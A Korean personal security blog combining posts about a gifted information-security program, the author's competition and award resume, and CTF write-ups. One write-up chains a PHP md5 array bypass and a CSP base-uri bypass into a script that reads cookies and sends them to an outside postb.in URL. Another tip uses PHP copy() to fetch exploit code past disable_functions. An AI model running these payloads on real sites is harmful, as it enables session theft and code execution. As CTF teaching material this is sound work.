약 1년동안 정보보호 영재교육원을 수료를 하게 되었다.

이 중,,, 정보보호 영재교육원에서 제일 맛집(?) 같은 존재는 "여름집중교육" 과정인데

2020년도와 마찬가지로 2021년도 동일하게 온라인으로 진행되었는데, 이게 많이 아쉬웠었다. (학교 개학도 겹쳤었다.)

온라인 수업이다보니, 초반에는 열심히 수업을 들었지만 이후로 가면 갈수록 캠에서 머리만 보인다던가,,, 그러기도 했었다.

대회 일정도 겹치는 부분들도 있었기 때문에 수업을 참여한 상태에서 대회를 참여하기도 했었는데 그런 기억도 언젠간 나중에 "라떼는 말이야~" 라고 이야기할 수 있지 않을까...? 라는 생각도 종종 들었다.

경진대회 개인전, 단체전 문제 수준같은 경우는 특성화 고등학교에서 개최하는 중학생 대상으로 하는 대회에서 나올 법한 문제 수준이였고, 나쁘지 않았다고 생각이 들었다. ( 중학생들도 하나쯤은 풀어야되기 때문에)

개인전 대회를 서울여대 직접 가서 했었는데, 일일이 다 세팅하기 귀차니즘으로 인해서 Anydesk로 집 컴퓨터랑 원격했었는데 레이턴시가 많이 심해서, 종종 애 먹었던게 기억이 남는다. (이후 Parsec 프로그램 존재를 알았고, 괜춘한 레이턴시를 보여줬기 때문에 나쁘지 않았던 것 같다. 하지만 두 컴퓨터가 외부 GPU가 있어야한다.. 알았어도 분명 느렸을 것이다,,)

단체전같은 경우는 팀 배정이 자유롭게 할 수 있었다고 한다면, 조금 더 좋은 성과를 낼 수 있지 않았을까? 라는 생각이 들긴 하지만, 그래도 나쁘지 않은 성과가 나올 수 있어서 다행이라고 생각이 들었다.

# 한 팀에 포너가 몰려있거나, 웹하는 사람들이 다 각자 나뉘어져있다고 하면 다양한 문제를 골고루 풀기 어렵기 때문이다.

그래도 다행히 영재교육원 수료를 마무리 할 수 있는 것 같아 다행인 것 같다.

R&E 과정같은 경우는 담당 교수님이 이번년도 기준으로 원장님이셨는데, 진짜 존경할 수 있을 정도로 눈 높이에 맞춰서 교육해 주셨기 때문에 나쁘지 않았다고 생각이 들었다. (vagrant 존재를 처음 알게 된 계기...)

하지만 아쉽게도, 많은 시간이 주어지지 않았기 때문에 다양한 활동을 하지 못한 것이 아쉬움으로 남았다.

(분명 교수님에게 더 많이 해주실 수 있는지 여쭤봤는데 아쉽게도,, 잊혀진 것 같다..)

그래도 영재교육원 생활을 하면서, 많다고 하면 많은 배움을 얻을 수 있는 계기가 되었던 것 같았다.

포너블, 즉 시스템 해킹이라고 불리는 부분들에 대한 지식이 많이 한계가 존재하는 것 같아서 앞으로 골고루 배울 수 있도록 노력해야 되겠다.

사실 나는 웹 해킹이 주 분야라고 하기도 하고, 포렌식이 주 분야라기도 하고,, 솔직히 분야 편식은 나쁜 것 같다.

생각하는 것을 무언가,, 한정을 짓는다고 생각된다고 해야될까..?

이정도로 마무리 해야되겠다. 

(여담이지만, 중등반 튜터쌤들 말에 따르면, 캠 안에서 무언가 던지고, 화났다는 친구들이 많았다고 한다..)

'Story > InfoSec Gifted' 카테고리의 다른 글

정보보호 영재교육원 - 지원  (0) 2021.08.09

중학교 2학년 때 우연찮게 처음 나간 대회임에도 불구하고 한세 사이버 보안고등학교에서 주최하는 제4회 중학생 정보보안 콘테스트 입상을 하게 되었다.

그러고 나서 시상식 참석으로 재학 중이었던 중학교로 공문이 발송되었고, 이를 알게 된 중학교 정보 선생님은 자연스럽게 정보보호 영재교육원 존재에 대해서 알려주셨다. 사실 BoB(Best of the Best) 존재도 사실 몰랐지만, 이후에 알게 되었다.

사실 정보쌤이 알려주신 시점에서 지원서를 넣을 수 있었긴 했으나, 흔히 말하는 "귀차니즘"으로 지원하지도 않았고, 그다음 년에도, 그리고 고등학교 1학년 때까지 지원을 하지 않았었다.

왜?

나에게 도움되는지에 대해서 몰랐던게 내 '탓'이 아녔을까 싶다.

고등학교 2학년때 우연히 정보 선생님을 통해서 중학교 후배가 정보보호 영재교육원에 대해서 준비하고 있다고 전달을 받았었다.

그 중학교 후배 친구는 아쉽게도, 서류를 붙지 못해서 아쉽다는 생각을 했었다.
그래도 부디 내년에는 꼭 붙을 수 있길 바래야 되겠다.

"아, 나도 한번 해볼까?"라는 생각이 문뜩 들어서 중학교 때 정보 선생님한테 같이 추천서를 부탁드렸었다.

어떻게?

지원하기 위해서는 "자기소개서", "교사 추천서" 등등이 필요로 했는데, 준비하는 데 2~3일 정도 걸렸었던 것 같다.

1월 20일

이후 나머지 서류도 준비해서 언제 보냈는지 기억은 안 나지만, 1월 20일 날 서류가 잘 접수가 되었다고, 연락이 왔었다.
이후 1월 20일날 오후 3시쯤에 서류 합격자에 대해서 문자 메시지를 받았었다, 진짜 긴장하고 들어갔었는데 나도 명단에 있어서 매우 놀라웠다...

1월 29일(금)

면접을 이 날에 했었다. 확실한 건 내가 많이 목소리를 떨었다는 것이다.
아무래도 긴장해서 그랬던 것 같다. 그래도 면접 질문에 대해서 자기소개서에서 풀었던 내용들이 몇 개 있어서 잘 답변할 수 있었다.

2월 03일

이렇게 해서 떨어질 것 같았던 정보보호 영재교육원 2월 3일 날, 최종 합격 명단이 공개되었다.

2월 10일 

이후 이날 입학 축하하다는 소식이 왔다!
이날 진짜 기분이 좋았다.

자연스레 인스타그램 스토리 올렸을 때 주변 사람들이 대학교 가냐고 물어봤었다.
나는 자연스레 영재교육원이라고 말씀을 드렸다.. ㅋㅎㅋㅎㅋ

'Story > InfoSec Gifted' 카테고리의 다른 글

정보보호 영재교육원 - 수료  (0) 2021.11.26

소속 / 수료

  • 스텔라잇 2017.06 ~ 2023.10
  • 스텔라아이티(주) 2022.01 ~ 현재
  • Stella IT USA, LLC 2021.07 ~ 현재
  • Phylaxis, Inc 필락시스 (주) 2023.07 ~ 현재

  • 서울여자대학교 정보보호영재교육원 고등전문B반 2021.03 ~ 2021.11
    → [특별반] 해킹경진대회 대비반 2021.05.08 ~ 2021.09.25
    → [특별반] R&E(Research & Education) 2021.05 ~ 2021.11

  • 경기꿈의대학 "4차 산업혁명 시대 R을 통해 배우는 데이터 과학" 2021.04.08 ~ 2021.06.10 17시간 수료
  • 경기꿈의대학 "정보보안 및 해커방어" 2021.04.13 ~ 2021.06.15 17시간 수료

대회(국내)

  • 2018 - if hackathon (해커톤)
  • 2018 - 제주특별자치도 디지털 사회혁신 해커톤
  • 2018 - 제 4회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교)
  • 2019 - 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 예선 8등
  • 2019 - 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 본선 6등
  • 2019 - 사이버작전 경연대회 학생부 예선전 4등
  • 2019 - 사이버작전 경연대회 학생부 본선 3등
  • 2019 - 제 6회 The Hacking Championship Junior 예선전 4등
  • 2019 - 제 5회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 3등
  • 2020 - 중부대학교 해킹방어대회 (JBU-CTF) 10등
  • 2020 - 15회 중고생정보보호올림피아드 본선 진출
  • 2021 - KOSPO 제2회 웹서비스 경진대회
  • 2021 - 전국 고등학생 보안경진대회
  • 2021 - 화이트햇 콘테스트 청소년부 예선 3등 -> 본선 진출
  • 2021 - 화이트햇 콘테스트 청소년부 본선 4등
  • 2021 - 제7회 정보보호영재교육원 정보보안경진대회 개인전 수도권 2등, 전체 4등
  • 2021 - 제7회 정보보호영재교육원 정보보안경진대회 단체전 2등
  • 2021 - 한국정보보호학회 호남지부 추계학술대회(기여)
  • 2022 - 한국컴퓨터정보학회 동계학술대회
  • 2022 - 한국정보통신학회 춘계종합학술대회
  • 2022 - WACON 2022 청소년부 예선 1등
  • 2022 - WACON 2022 청소년부 본선 2등
  • 2022 - 한국코드페어 2022 [ 서면심사 통과 -> 예선 통과 -> 본선 4등 -> 국가대표 선발전 포기 -> ISEF Finalist 23]
  • 2022 - KOSPO 제3회 웹서비스 경진대회
  • 2022 - 한국정보통신학회 추계종합학술대회
  • 2022 - 화이트햇 콘테스트 청소년부 예선 6등 -> 본선 진출 -> 본선 4등 

수상

  • 제 4회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 금상
  • 2019 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 은상
  • 2019 사이버작전 경연대회 학생부 장려상
  • 제 5회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 은상
  • KOSPO 제2회 웹서비스 경진대회 우수상 (청소년 부문)
  • 제 7회 정보보안 경진대회 개인전 고등부 우수상(영재교육원장상)
  • 제 7회 정보보안 경진대회 단체전 최우수상(KERIS 원장상)
  • 서울여자대학교 정보보호영재교육원 노력상
  • 2022년 한국정보통신학회 춘계종합학술대회 학생우수논문상(Anycast 구조와 BGP ECMP를 활용한 효율적인 DDoS 공격 방어 기법에 대한 연구)
  • WACON 2022 청소년부 2위상 (주식회사 티오리한국상)
  • KOSPO 제3회 웹서비스 경진대회 대상 (청소년 부문)
  • 2022년 한국정보통신학회 추계종합학술대회 학생우수논문상(IP Spoofing을 이용한 통한 분산 반사 서비스 공격의 보안 위협과 대응 실태 연구)
  • 2022년 한국정보통신학회 추계종합학술대회 학생우수논문상(만료된 도메인의 전자우편을 통한 개인정보 유출에 관한 연구)
  • 2022년 한국코드페어 SW공모전 고등 부문 은상 (한국지능정보사회진흥원장상 NIA 원장상)

관련 언론 기사

취약점 제보

  • Naver BugBounty Program SPECIAL CONTRIBUTORS(2020) 선정
    -> NBB-1372
  • Naver BugBounty Program Hall of Fame(2022)
    -> NBB-2325

논문 투고/기여

  • 2022년 한국컴퓨터정보학회 동계학술대회 - GRE 터널링을 이용한 BGP 어나운싱 방법 연구 - 투고 및 게재 / 1저자
  • 2022년 한국정보통신학회 춘계종합학술대회 - Anycast 구조와 BGP ECMP를 활용한 효율적인 DDoS 공격 방어 기법에 대한 연구 - 투고 및 게재 / 1저자
  • 2022년 한국정보통신학회 추계종합학술대회 -  IP Spoofing을 이용한 통한 분산 반사 서비스 공격의 보안 위협과 대응 실태 연구 - 투고 및 게재 / 1저자
  • 2022년 한국정보통신학회 추계종합학술대회 -  만료된 도메인의 전자우편을 통한 개인정보 유출에 관한 연구 - 투고 및 게재 / 공저자
  • 2022년 한국정보통신학회 논문지 - BGP 하이재킹 보안 위협 대응 현황 및 과제 - 투고 및 게재 / 공저자 

안녕하세요. 잇님들

오늘은 정보보호 올림피아드에서 나온 Q2 문제를 알아볼꺼에요.

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>

int Solution(unsigned int *data)
{

        if ( 316 * data[0]
	 - 901 * data[1]
     + 0 * data[2]
     - 984 * data[3]
     + 359 * data[4]
     - 986 * data[5]
     - 869 * data[6]
     - 733 * data[7]
     - 800 * data[8]
     + 621 * data[9] == -347560 ){
                if ( 754 * data[0]
				     + 103 * data[1]
				     - 230 * data[2]
				     + 359 * data[3]
				     - 516 * data[4]
				     + 133 * data[5]
				     - 16 * data[6]
				     - 500 * data[7]
				     - 343 * data[8]
				     + 980 * data[9] == 31039 ){
                        if ( 641 * data[0]
						     +262 * data[1]
						     - 415 * data[2]
						     - 889 * data[3]
						     + 621 * data[4]
						     - 855 * data[5]
						     - 818 * data[6]
						     - 785 * data[7]
						     - 866 * data[8]
						     - 799 * data[9]== -262955 ){
                                if ( 473 * data[0]
							     - 57 * data[1]
							     - 477 * data[2]
							     + 164 * data[3]
							     - 22 * data[4]
							     - 865 * data[5]
							     - 784 * data[6]
							     - 768 * data[7]
							     + 416 * data[8]
							    - 121 * data[9]== -180990){
                                        if ( 944 * data[0]
                                      - 912 * data[1]
                                      + 667 * data[2]
                                      + 303 * data[3]
                                      + 524 * data[4]
                                      - 523 * data[5]
                                      + 227 * data[6]
                                      + 799 * data[7]
                                      - 618 * data[8]
                                      - 739 * data[9]== 156060 ){
                                                if ( 597 * data[0]
                                              - 381 * data[1]
                                              - 996 * data[2]
                                              + 109 * data[3]
                                              + 476 * data[4]
                                              - 48 * data[5]
                                              - 710 * data[6]
                                              - 384 * data[7]
                                              - 390 * data[8]
                                              - 507 * data[9]== -143022){
                                                        if (164 * data[0]
                                                      - 300 * data[1]
                                                      - 808 * data[2]
                                                      + 308 * data[3]
                                                      + 311 * data[4]
                                                      - 144 * data[5]
                                                      + 230 * data[6]
                                                      + 251 * data[7]
                                                      + 998 * data[8]
                                                      - 469 * data[9]== 18791){
                                                                if (301 * data[0]
                                                              + 571 * data[1]
                                                              + 955 * data[2]
                                                              - 462 * data[3]
                                                              - 4 * data[4]
                                                              - 541 * data[5]
                                                              - 380 * data[6]
                                                              + 96 * data[7]
                                                              - 62 * data[8]
                                                              - 452 * data[9]== 60199){
                                                                 if (703 * data[0]
                                                                      - 635 * data[1]
                                                                      - 733 * data[2]
                                                                      + 119 * data[3]
                                                                      - 549 * data[4]
                                                                      + 220 * data[5]
                                                                      + 739 * data[6]
                                                                      + 102 * data[7]
                                                                      + 812 * data[8]
                                                                      - 770 * data[9]== -48454){
                                                                 if (207 * data[0]
                                                                       + 426 * data[1]
                                                                       + 324 * data[2]
                                                                       + 403 * data[3]
                                                                       + 149 * data[4]
                                                                       + 257 * data[5]
                                                                       + 765 * data[6]
                                                                       - 368 * data[7]
                                                                       + 707 * data[8]
                                                                       - 221 * data[9]== 202674 ){
                                                                

                                                                 return 1;
                                                                 
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                }
                                                                else
                                                                {
                                                                }
                                                        }
                                                        else
                                                        {
                                                        }
                                                }
                                                else
                                                {
                                                }
                                        }
                                        else
                                        {
                                        }
                                }
                                else
                                {
                                }
                        }
                        else
                        {
                        }

        return 0;
}

int main(){
        unsigned int data[10];

	puts(" ** enjoy **");
        fflush(stdin);
        int i; 
        for (i = 0; i < sizeof(data)/sizeof(int); i++) {
                printf(" Input[%d] : ", i);
                fflush(stdin);
                scanf("%u", &data[i]);
        }

        if ( (unsigned int)Solution(data) ) {
        
            printf(" [+] flag {%c%c%c%c%c%c%c%c%c%c}\n", data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9]);
        }
        else {
                puts(" [-] nope!!");
        }
        return 0;
}

 위와 같은 코드가 주어졌고, 10차 방정식을 풀어야되네요!

인간이 어떻게 이걸 다 푸냐고요? 네, 풀려면 엄청난 시간이 필요로 할꺼에요.

이걸 10초만에 계산하는 인간이 있다면, 그 사람은 외계인일 가능성이 높을꺼에요.

조심하세요...

#!/usr/bin/python
from z3 import *
import json

data = [ BitVec('%i'%i,8) for i in range(0,10)]



s = Solver()
 
# s.add(((data[3] * data[6]) ^ (data[2] * data[2])) == 7320)
s.add(316 * data[0] - 901 * data[1] + 0 * data[2] - 984 * data[3] + 359 * data[4] - 986 * data[5] - 869 * data[6] - 733 * data[7] - 800 * data[8] + 621 * data[9] == -347560)
s.add(754 * data[0] + 103 * data[1] - 230 * data[2] + 359 * data[3] - 516 * data[4] + 133 * data[5] - 16 * data[6] - 500 * data[7] - 343 * data[8] + 980 * data[9] == 31039)
s.add(641 * data[0] +262 * data[1] - 415 * data[2] - 889 * data[3] + 621 * data[4] - 855 * data[5] - 818 * data[6] - 785 * data[7] - 866 * data[8] - 799 * data[9]== -262955)
s.add(473 * data[0] - 57 * data[1] - 477 * data[2] + 164 * data[3] - 22 * data[4] - 865 * data[5] - 784 * data[6] - 768 * data[7] + 416 * data[8] - 121 * data[9]== -180990)
s.add(944 * data[0] - 912 * data[1] + 667 * data[2]  + 303 * data[3] + 524 * data[4] - 523 * data[5] + 227 * data[6] + 799 * data[7] - 618 * data[8] - 739 * data[9]== 156060)
s.add(597 * data[0] - 381 * data[1] - 996 * data[2] + 109 * data[3] + 476 * data[4] - 48 * data[5] - 710 * data[6] - 384 * data[7] - 390 * data[8] - 507 * data[9]== -143022)
s.add(164 * data[0] - 300 * data[1] - 808 * data[2] + 308 * data[3] + 311 * data[4] - 144 * data[5] + 230 * data[6] + 251 * data[7] + 998 * data[8] - 469 * data[9]== 18791)
s.add(301 * data[0] + 571 * data[1] + 955 * data[2] - 462 * data[3] - 4 * data[4] - 541 * data[5] - 380 * data[6] + 96 * data[7] - 62 * data[8] - 452 * data[9]== 60199)
s.add(703 * data[0] - 635 * data[1] - 733 * data[2] + 119 * data[3] - 549 * data[4] + 220 * data[5] + 739 * data[6] + 102 * data[7] + 812 * data[8] - 770 * data[9]== -48454)
s.add(207 * data[0] + 426 * data[1] + 324 * data[2] + 403 * data[3] + 149 * data[4] + 257 * data[5] + 765 * data[6] - 368 * data[7] + 707 * data[8] - 221 * data[9]== 202674)

print (s.check())

m = s.model()
print(m)

#for i in range(0, 10):
    #print(m[i])

"""
sat
[a4 = 111,
 a7 = 111,
 a2 = 108,
 a1 = 101,
 a0 = 104,
 a6 = 48,
 a9 = 47,
 a8 = 48,
 a5 = 92,
 a3 = 108]

a0 = 104,
a1 = 101,
a2 = 108,
a3 = 108,
a4 = 111,
a5 = 92,
a6 = 48,
a7 = 111,
a8 = 48,
a9 = 47,

String.fromCharCode(104,101,108,108,111,92,48,111,48,47)
"hello\0o0/"

"""

위와 같이 풀어주면, 아스키코드가 나오고, 자바스크립트 콘솔을 통해 플래그를 얻을 수 있었습니다.

웹사이트 접속하고 나서, 무슨 사이트 인지 파악하기 위해 막 눌러봤다.

howtobuy.php로 끝나는 페이지에서 아래와 같은 문구를 발견하였다.

총기구매하기 위해서는, "스페셜"이라는 권한이 필요하다는 사실을 문구를 통해서 알 수 있었다.

페이지 소스 보기를 통해서, 주석을 발견할 수 있었고, 주석을 통해서 "스페셜" 권한을 얻을 수 있을 수 있는 힌가 될 것이라고 판단하여, 접속해봤습니다.

해당 페이지는 마찬가지로, "스페셜" 권한을 가지고 있는지 아닌지에 대해 알려주고 있었습니다.
또한 주석에는 호기심을 자극하도록 되어있었습니다. (??)

<?php

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])
    && isset($_GET["remote_debug"]))
  die(show_source(__FILE__));

if(!isset($_SESSION))
  session_start();

function is_special() {
  if(!isset($_SESSION["perm"]))
    return false;
  return $_SESSION["perm"];
}


if(isset($_GET["cred_plain"])) {
  $cred = $_GET["cred_plain"];
  $avail_users = [
    "admin" => "f6566fbef52560d383f5aa6a100697d8",
    "manager" => "ab1f6495fcbec4f0ea50425cc5539672",
    "guest" => false //Guest doesn't need to have credential!
  ];

  if(strpos($_SERVER["QUERY_STRING"], "cred_plain") || // During development, you can't get credential with cred_plain
      strpos($_SERVER["QUERY_STRING"], "["))            // Don't cheat!
    die("Don't cheat");

  if(in_array(md5($cred), $avail_users))
    $_SESSION["perm"] = true;
  else
    $_SESSION["perm"] = false;
}

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) {
  echo "<h4>You are ".(is_special() ? "special" : "not special")." now </h4>";
}
?>
<!-- ?remote_debug=1 -->
1

그래서 들어가봤고, 위와 같은 코드를 볼 수 있었습니다.

cred_plain 라는 파라미터를 GET 메소드로 받을 수 있다는 사실을 코드를 통해 알 수 있었고,

아래 코드를 참조해서, 스페셜이 될 수 있는 조건을 알 수 있었습니다.

  if(in_array(md5($cred), $avail_users))
    $_SESSION["perm"] = true;
  else
    $_SESSION["perm"] = false;

function is_special() {
  if(!isset($_SESSION["perm"]))
    return false;
  return $_SESSION["perm"];
}

위 조건식을 충족을 시킬 경우, "스페셜" 권한을 얻을 수 있었습니다.

그렇다면, 어떻게 조건식을 충족을 할 수 있을까요? 조건식을 충족을 하기 위해서 한번 좀 더 깊숙하게 들어가보도록 합시다!

if(in_array(md5($cred), $avail_users))

md5 함수는 배열을 받을 경우, false를 내뱉으며, false가 $avail_users 딕셔너리에 'guest' 항목이므로 in array 함수가 True가 됩니다. 그렇다면, cred_plain이 Array이어야 합니다.

그건 매우 간단한 솔루션을 마련하여, 해결할 수 있었습니다.

http://52.78.151.181/get_perm.php?cred_plain%5B%5D=asdfasdfsdfsdf

이렇게 만약 요청을 보낼 경우, "스페셜" 권한을 얻을 수 있었습니다.

이제 "스페셜" 권한을 얻었으니, 총기를 구매할 수 있습니다.

1. Product Code - 입력같은 경우 아무거나 입력해도, 상관이 없었습니다.

2. Purpose of use (free format, max 300 letters) - HTML Element Escape?를 통해, 원하는 HTML Element를 전달할 수 있도록 했습니다.

해당 사이트에서는 CSP(Content Security Policy)가 존재했으며, base-uri같은 경우 설정 미스로, 설정 미스를 통해 CSP Bypass를 할 수 있게 됩니다.

사이트에 있는 스크립트를 만약 "abc.com/static/js/jquery.min.js"라는 부분이 있다면, base tag에 의해서, "yunseok.kr/static/js/jquery.min.js"로 요청하는 꼴이 됩니다.

그렇다면, yunseok.kr 웹서버에서 똑같은 경로에 똑같은 파일 명으로 악성 스크립트전파한다면, 그거야 말로 파급력은 대단할 것입니다.

저는 아래와 같이 코드를 업로드했습니다.

var payload = document.cookie;
var nonce = document.querySelector("script").nonce;

var src = `https://postb.in/1569059561759-0691916393116?hello=/?${payload}`

var s = document.createElement('script')
s.type = 'text/javascript'
s.src = src
s.setAttribute('nonce', nonce)

document.body.appendChild(s);

3. Pistol license - 해당 파일같은 경우 아무거나 보내도 무관했습니다.

4. Proof of work - 특정 값을 sha1로 암호화할 경우, 앞 5자리를 입력 값의 sha1 암호화해서 대조하여, 일치하는지 확인하는 부분입니다. / 이 부분에 대해서는 아래 코드를 통해, 알 수 있었습니다.

from hashlib import sha1

def get_hash(target):
    for val in range(10000000):
        if sha1(str(val).encode('utf-8')).hexdigest()[:5] == target:
            print(val)
            break


stra = input()
get_hash(stra)

위와 같이 해서 "Send Request" 버튼을 눌러서, 어드민에게 요청이 갈 것이며, 우리가 생각하는 생각 대로 정상적으로 악성 스크립트실행 되어, Flag가 우리에게 올 것입니다. 

그렇게 해서, "th1s1sv3rys3cr3tm4g1c0fc55" 라는 값을 얻을 수 있었고, 이건 바로 플래그다.

Flag is FLAG{th1s1sv3rys3cr3tm4g1c0fc55}

'WarGame or CTF > CTF' 카테고리의 다른 글

정보보호올림피아드 2020 본선 Q2 문제  (0) 2021.01.08
DIMIGO CTF 2019 Qualification  (0) 2019.07.29
copy(remote file, local file);

의외로 다양한 CTF에서 eval() 가능하여, 일부 함수를 호출하려고 했을 때 disable_functions 로 인해서 제한적인 상황에서 내가 원하는 코드를 실행을 하기 위해서는 막히지 않은 함수를 통해서 해결을 해야하기도 합니다.

이러한 막히지 않은 함수를 찾기는 어렵고, 시간은 부족한데 이때 copy() 라는 함수와 서버 내에서 구동되고 있는 PHP 버전이 Disable Functions 와 관련한 취약점이 있다면, copy() 라는 함수를 통해서 취약점 PoC 코드를 다운로드를 받을 수 있습니다.

'Trick > Web' 카테고리의 다른 글

PHP 7.3 disable_functions Bypass  (0) 2019.10.11

+ Recent posts